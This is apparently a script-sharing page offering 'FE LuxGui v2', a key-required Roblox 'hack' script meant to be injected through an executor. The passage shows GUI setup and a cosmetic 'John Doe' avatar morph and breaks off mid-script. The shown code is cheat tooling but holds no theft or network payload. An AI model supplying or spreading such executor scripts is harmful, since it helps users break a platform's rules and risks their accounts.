fe luxgui v2 1
Key RequiredUniversal

fe luxgui v2 1

Universal ScriptLuxcazsLuxcazs 734 views 4 executesUpdated Aug 10, 2025
Unrated
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Lua Script•3639 lines (154112 chars)
-- script funny boy hack by luxcazs

local ScreenGui = Instance.new("ScreenGui")
local FrameDragWorldboy = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local UICorner = Instance.new("UICorner")
local TextButton = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")
local FrameLux = Instance.new("Frame")
local UICorner_2 = Instance.new("UICorner")
local Page1 = Instance.new("Frame")
local UIGridLayout = Instance.new("UIGridLayout")
local Jhondoe = Instance.new("TextButton")
local UICorner_3 = Instance.new("UICorner")
local TextButton_3 = Instance.new("TextButton")
local UICorner_4 = Instance.new("UICorner")
local TextButton_4 = Instance.new("TextButton")
local UICorner_5 = Instance.new("UICorner")
local TextButton_5 = Instance.new("TextButton")
local UICorner_6 = Instance.new("UICorner")
local TextButton_6 = Instance.new("TextButton")
local UICorner_7 = Instance.new("UICorner")
local TextButton_7 = Instance.new("TextButton")
local UICorner_8 = Instance.new("UICorner")
local TextButton_8 = Instance.new("TextButton")
local UICorner_9 = Instance.new("UICorner")
local TextButton_9 = Instance.new("TextButton")
local UICorner_10 = Instance.new("UICorner")
local TextButton_10 = Instance.new("TextButton")
local UICorner_11 = Instance.new("UICorner")
local TextButton_11 = Instance.new("TextButton")
local UICorner_12 = Instance.new("UICorner")
local TextButton_12 = Instance.new("TextButton")
local UICorner_13 = Instance.new("UICorner")
local TextButton_13 = Instance.new("TextButton")
local UICorner_14 = Instance.new("UICorner")
local TextButton_14 = Instance.new("TextButton")
local UICorner_15 = Instance.new("UICorner")
local TextButton_15 = Instance.new("TextButton")
local UICorner_16 = Instance.new("UICorner")
local TextButton_16 = Instance.new("TextButton")
local UICorner_17 = Instance.new("UICorner")
local TextButton_17 = Instance.new("TextButton")
local UICorner_18 = Instance.new("UICorner")
local TextButton_18 = Instance.new("TextButton")
local UICorner_19 = Instance.new("UICorner")
local TextButton_19 = Instance.new("TextButton")
local UICorner_20 = Instance.new("UICorner")
local TextButton_20 = Instance.new("TextButton")
local UICorner_21 = Instance.new("UICorner")
local TextButton_21 = Instance.new("TextButton")
local UICorner_22 = Instance.new("UICorner")
local TextButton_22 = Instance.new("TextButton")
local UICorner_23 = Instance.new("UICorner")
local TextButton_23 = Instance.new("TextButton")
local UICorner_24 = Instance.new("UICorner")
local TextButton_24 = Instance.new("TextButton")
local UICorner_25 = Instance.new("UICorner")
local TextButton_25 = Instance.new("TextButton")
local UICorner_26 = Instance.new("UICorner")
local TextButton_26 = Instance.new("TextButton")
local UICorner_27 = Instance.new("UICorner")
local TextButton_27 = Instance.new("TextButton")
local TextButton_28 = Instance.new("TextButton")
local Frame = Instance.new("Frame")
local Frame_2 = Instance.new("Frame")
local TextLabel_2 = Instance.new("TextLabel")
local Page2 = Instance.new("Frame")
local Frame_3 = Instance.new("Frame")
local TextBox = Instance.new("TextBox")
local TextButton_29 = Instance.new("TextButton")
local TextLabel_3 = Instance.new("TextLabel")
local Page3 = Instance.new("Frame")
local UICorner_2A = Instance.new("UICorner")
local UIGridLayoutA = Instance.new("UIGridLayout")
local JhondoeA = Instance.new("TextButton")
local UICorner_3A = Instance.new("UICorner")
local TextButton_3A = Instance.new("TextButton")
local UICorner_4A = Instance.new("UICorner")
local TextButton_4A = Instance.new("TextButton")


local UICorner_6A = Instance.new("UICorner")
local TextButton_6A = Instance.new("TextButton")
local UICorner_7A = Instance.new("UICorner")
local TextButton_7A = Instance.new("TextButton")
local UICorner_8A = Instance.new("UICorner")
local TextButton_8A= Instance.new("TextButton")
local UICorner_9A = Instance.new("UICorner")
local TextButton_9A = Instance.new("TextButton")
local UICorner_10A = Instance.new("UICorner")
local TextButton_10A = Instance.new("TextButton")
local UICorner_11A = Instance.new("UICorner")
local TextButton_10A1 = Instance.new("TextButton")
local UICorner_11A1 = Instance.new("UICorner")



--Properties:

ScreenGui.Parent = game.CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

FrameDragWorldboy.Name = "FrameDragWorldboy"
FrameDragWorldboy.Parent = ScreenGui
FrameDragWorldboy.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
FrameDragWorldboy.BackgroundTransparency = 1.000
FrameDragWorldboy.BorderColor3 = Color3.fromRGB(0, 0, 0)
FrameDragWorldboy.BorderSizePixel = 0
FrameDragWorldboy.Position = UDim2.new(0.334035218, 0, 0.214041099, 0)
FrameDragWorldboy.Size = UDim2.new(0, 544, 0, 332)

TextLabel.Parent = FrameDragWorldboy
TextLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BackgroundTransparency = 0.250
TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderSizePixel = 0
TextLabel.Size = UDim2.new(0, 545, 0, 44)
TextLabel.Font = Enum.Font.SourceSansBold
TextLabel.Text = "FE LuxGui V2"
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
TextLabel.TextXAlignment = Enum.TextXAlignment.Left

UICorner.Parent = TextLabel

TextButton.Parent = TextLabel
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.BackgroundTransparency = 1.000
TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.686238527, 0, -0.13636364, 0)
TextButton.Size = UDim2.new(0, 76, 0, 50)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "-"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true

TextButton_2.Parent = TextLabel
TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.BackgroundTransparency = 1.000
TextButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.BorderSizePixel = 0
TextButton_2.Position = UDim2.new(0.860550463, 0, -0.13636364, 0)
TextButton_2.Size = UDim2.new(0, 76, 0, 50)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "X"
TextButton_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.TextScaled = true
TextButton_2.TextSize = 14.000
TextButton_2.TextWrapped = true

FrameLux.Name = "FrameLux"
FrameLux.Parent = FrameDragWorldboy
FrameLux.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
FrameLux.BackgroundTransparency = 0.250
FrameLux.BorderColor3 = Color3.fromRGB(0, 0, 0)
FrameLux.BorderSizePixel = 0
FrameLux.Position = UDim2.new(-0.000558853149, 0, 0.129662663, 0)
FrameLux.Size = UDim2.new(0, 545, 0, 332)

UICorner_2.Parent = FrameLux

Page1.Name = "Page1"
Page1.Parent = FrameLux
Page1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Page1.BackgroundTransparency = 1.000
Page1.BorderColor3 = Color3.fromRGB(0, 0, 0)
Page1.BorderSizePixel = 0
Page1.Position = UDim2.new(0, 0, 0.192771077, 0)
Page1.Size = UDim2.new(0, 545, 0, 260)





UIGridLayout.Parent = Page1
UIGridLayout.SortOrder = Enum.SortOrder.LayoutOrder
UIGridLayout.CellPadding = UDim2.new(0, 6, 0, 6)
UIGridLayout.CellSize = UDim2.new(0, 90, 0, 38)

Jhondoe.Name = "Jhon doe"
Jhondoe.Parent = Page1
Jhondoe.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Jhondoe.BorderColor3 = Color3.fromRGB(0, 0, 0)
Jhondoe.BorderSizePixel = 0
Jhondoe.Size = UDim2.new(0, 90, 0, 38)
Jhondoe.Font = Enum.Font.SourceSans
Jhondoe.Text = "Jhone doe"
Jhondoe.TextColor3 = Color3.fromRGB(0, 0, 0)
Jhondoe.TextScaled = true
Jhondoe.TextSize = 14.000
Jhondoe.TextWrapped = true
Jhondoe.MouseButton1Click:Connect(function()
	------------
	--John Doe--
	------------
	-----by-----
	--CKbackup--
	------------

	--Player Stuff--
	player = game:GetService("Players").LocalPlayer
	chara = player.Character

	ch = chara:GetChildren()
	for i = 1, #ch do
		if ch[i].Name == "Torso" then
			ch[i].roblox.Transparency = 1
		elseif ch[i].Name == "Head" then
			ch[i].face.Transparency = 1
			ch[i].Transparency = 1
		elseif ch[i].ClassName == "Accessory" or ch[i].ClassName == "Shirt" or ch[i].ClassName == "Pants" or ch[i].ClassName == "ShirtGraphic" then
			ch[i]:Destroy()
		end
	end

	chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
	chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
	chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
	chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
	chara.Torso.BrickColor = BrickColor.new("Bright yellow")

	--Outfit--
	New = function(Object, Parent, Name, Data)
		local Object = Instance.new(Object)
		for Index, Value in pairs(Data or {}) do
			Object[Index] = Value
		end
		Object.Parent = Parent
		Object.Name = Name
		return Object
	end

	function ScatterEff(part)
		local eff1 = Instance.new("ParticleEmitter",part)
		eff1.Size = NumberSequence.new(.1)
		eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
		eff1.LightEmission = 1
		eff1.Lifetime = NumberRange.new(1)
		eff1.Speed = NumberRange.new(1)
		eff1.Rate = 100
		eff1.VelocitySpread = 10000
		eff1.Texture = "rbxassetid://347504241"
		eff1.Color = ColorSequence.new(Color3.new(1,0,0))
		local eff2 = Instance.new("ParticleEmitter",part)
		eff2.Size = NumberSequence.new(.1)
		eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
		eff2.LightEmission = 1
		eff2.Lifetime = NumberRange.new(1)
		eff2.Speed = NumberRange.new(1)
		eff2.Rate = 100
		eff2.VelocitySpread = 10000
		eff2.Texture = "rbxassetid://347504259"
		eff2.Color = ColorSequence.new(Color3.new(1,0,0))
	end

	function BurningEff(part)
		local eff1 = Instance.new("ParticleEmitter",part)
		eff1.Size = NumberSequence.new(.1)
		eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
		eff1.LightEmission = 1
		eff1.Lifetime = NumberRange.new(1)
		eff1.Speed = NumberRange.new(0)
		eff1.Rate = 100
		eff1.Texture = "rbxassetid://347504241"
		eff1.Acceleration = Vector3.new(0,10,0)
		eff1.Color = ColorSequence.new(Color3.new(1,0,0))
		local eff2 = Instance.new("ParticleEmitter",part)
		eff2.Size = NumberSequence.new(.1)
		eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
		eff2.LightEmission = 1
		eff2.Lifetime = NumberRange.new(1)
		eff2.Speed = NumberRange.new(0)
		eff2.Rate = 100
		eff2.Texture = "rbxassetid://347504259"
		eff2.Acceleration = Vector3.new(0,10,0)
		eff2.Color = ColorSequence.new(Color3.new(1,0,0))
		local eff3 = Instance.new("ParticleEmitter",part)
		eff3.Size = NumberSequence.new(1)
		eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
		eff3.LightEmission = 1
		eff3.Lifetime = NumberRange.new(1)
		eff3.Speed = NumberRange.new(0)
		eff3.Rate = 100
		eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
		eff3.Acceleration = Vector3.new(0,10,0)
		eff3.Color = ColorSequence.new(Color3.new(1,0,0))
	end

	FakeHead = New("Model",chara,"FakeHead",{})
	MainPart = New("Part",FakeHead,"MainPart",{FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 1, 1),CFrame = CFrame.new(2.29537678, 7.81603718, 0.746068954, 0.00980896503, 0.00110200304, 0.999957919, -0.000536994543, 1.00000548, -0.00109680078, -0.99994874, -0.0005262224, 0.00980964955),CanCollide = false,TopSurface = Enum.SurfaceType.Smooth,})
	Mesh = New("SpecialMesh",MainPart,"Mesh",{Scale = Vector3.new(1.25, 1.25, 1.25),})
	face = New("Decal",MainPart,"face",{Texture = "rbxasset://textures/face.png",})
	Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Head,C0 = CFrame.new(0, 0, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),C1 = CFrame.new(5.96046448e-008, -8.58306885e-006, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),})
	FakeHead.MainPart.BrickColor = BrickColor.new("Cool yellow")
	EyeFire = New("Part",FakeHead,"EyeFire",{BrickColor = BrickColor.new("Really red"),Material = Enum.Material.Neon,Size = Vector3.new(0.400000006, 0.200000003, 0.200000003),CFrame = CFrame.new(1.69668579, 8.11665249, 0.640022159, -0.00107900088, 0.999958038, -0.00980941113, -1.0000056, -0.00107390946, 0.000525554642, 0.000515007298, 0.00981007144, 0.999948859),CanCollide = false,Color = Color3.new(1, 0, 0),})
	Mesh = New("CylinderMesh",EyeFire,"Mesh",{Offset = Vector3.new(0.0500000007, 0, -0.0399999991),Scale = Vector3.new(1, 0.150000006, 1),})
	Weld = New("ManualWeld",EyeFire,"Weld",{Part0 = EyeFire,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0010790003, -0.999999344, 0.000515000196, 0.999951363, -0.0010738963, 0.00981000345, -0.00980944186, 0.000525560055, 0.99995178),C1 = CFrame.new(0.100008011, 0.300009251, -0.600027919, 0.00980899762, -0.000536999898, -0.99995178, 0.00110200245, 0.999999344, -0.000526215415, 0.999951363, -0.00109678751, 0.00980958249),})
	Chest = New("Model",chara,"Chest",{})
	MainPart = New("Part",Chest,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 2, 1),CFrame = CFrame.new(2.2937007, 6.31611967, 0.746871948, 0.00980956201, 0.00110224239, 0.999954581, -0.000537135813, 1.00000238, -0.00109703222, -0.99995023, -0.000526354474, 0.00981019717),CanCollide = false,LeftSurface = Enum.SurfaceType.Weld,RightSurface = Enum.SurfaceType.Weld,})
	Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Torso,C0 = CFrame.new(0, 0, 0, 0.009809535, -0.000537137908, -0.99994725, 0.00110225554, 1.00000858, -0.000526368851, 0.999961257, -0.00109705783, 0.00981026888),C1 = CFrame.new(5.96046448e-008, -9.05990601e-006, -2.38418579e-007, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
	CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.800000072, 1),CFrame = CFrame.new(2.28977966, 7.11656427, 1.34486222, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.598430753, 0.800122261, 0.00106739998, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
	CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.400000066, 1),CFrame = CFrame.new(2.29174757, 6.71645212, 1.54485857, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.798183441, 0.399908543, 0.00543618202, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
	LeftArm = New("Model",chara,"LeftArm",{})
	MainPart = New("Part",LeftArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(1.90889204, 6.31596565, 3.24640989, -0.0484240092, -0.0324009918, 0.998301268, -0.00117100019, 0.999474883, 0.0323822871, -0.998826265, 0.000399069104, -0.0484365262),CanCollide = false,})
	Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Arm"],C0 = CFrame.new(0, 0, 0, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),C1 = CFrame.new(0, -8.10623169e-006, -2.38418579e-007, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(1.48370504, 6.50245714, 2.8663168, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(0.400017738, 0.200018406, -0.400015235, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.51924801, 6.60332775, 3.66543078, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.399997473, 0.300003052, -0.399972558, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	EffCorruptedPart = New("Part",LeftArm,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(1.92512023, 5.81624889, 3.24619365, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.52587891e-005, -0.49998045, 2.90870667e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(2.31463432, 6.72918367, 3.62673688, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.400012016, 0.400006294, 0.400012136, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.50631011, 6.40297413, 3.26581192, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.3589859e-005, 0.100014687, -0.400020242, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.92179501, 6.51633835, 3.64602208, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.40000248, 0.200008869, 1.37090683e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
	BurningEff(EffCorruptedPart)
	LeftLeg = New("Model",chara,"LeftLeg",{})
	MainPart = New("Part",LeftLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.2865479, 1.31659603, 1.24781799, 0.00980953407, 0.00110225566, 0.999961138, -0.000537137908, 1.00000858, -0.00109705783, -0.99994719, -0.000526368851, 0.00981026888),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
	Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Leg"],C0 = CFrame.new(0, 0, 0, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),C1 = CFrame.new(0, -8.58306885e-006, -2.38418579e-007, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
	EffCorruptedPart = New("Part",LeftLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.200000048, 1),CFrame = CFrame.new(2.28007793, 0.400032878, 1.25993299, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
	Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
	Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0116856098, -0.916567385, -0.00534534454, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
